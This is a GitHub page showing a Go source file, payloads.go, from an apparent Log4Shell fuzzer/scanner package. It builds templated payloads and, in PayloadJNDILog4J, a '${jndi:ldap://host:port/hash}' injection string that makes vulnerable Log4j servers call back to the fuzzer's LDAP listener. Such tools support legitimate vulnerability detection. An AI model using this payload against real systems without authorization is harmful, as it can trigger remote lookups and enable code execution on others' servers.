-
Notifications
You must be signed in to change notification settings - Fork 3
/
payloads.go
43 lines (40 loc) · 900 Bytes
/
payloads.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package l9l4gfuzz
import (
"bytes"
"errors"
"fmt"
"log"
"net"
"time"
)
func (f *fuzzer) Payload(url string, source string) string {
if f.payloadTemplate == nil {
log.Fatalln(errors.New("using payload() in request template but no payload template set"))
}
var buffer bytes.Buffer
err := f.payloadTemplate.Execute(&buffer, struct {
Hash string
Fuzzer *fuzzer
}{
Hash: f.tokenTranslator.GetHashFromToken(Token{
SourceUrl: url,
PayloadSource: source,
IssueDate: time.Now(),
}),
Fuzzer: f,
})
if err != nil {
log.Fatalln(err)
}
return buffer.String()
}
func (f *fuzzer) PayloadJNDILog4J(url string, source string) string {
token := Token{
SourceUrl: url,
PayloadSource: source,
IssueDate: time.Now(),
}
return fmt.Sprintf("${jndi:ldap://%s/%s}",
net.JoinHostPort(f.ListenIp, f.LDAPPort),
f.tokenTranslator.GetHashFromToken(token))
}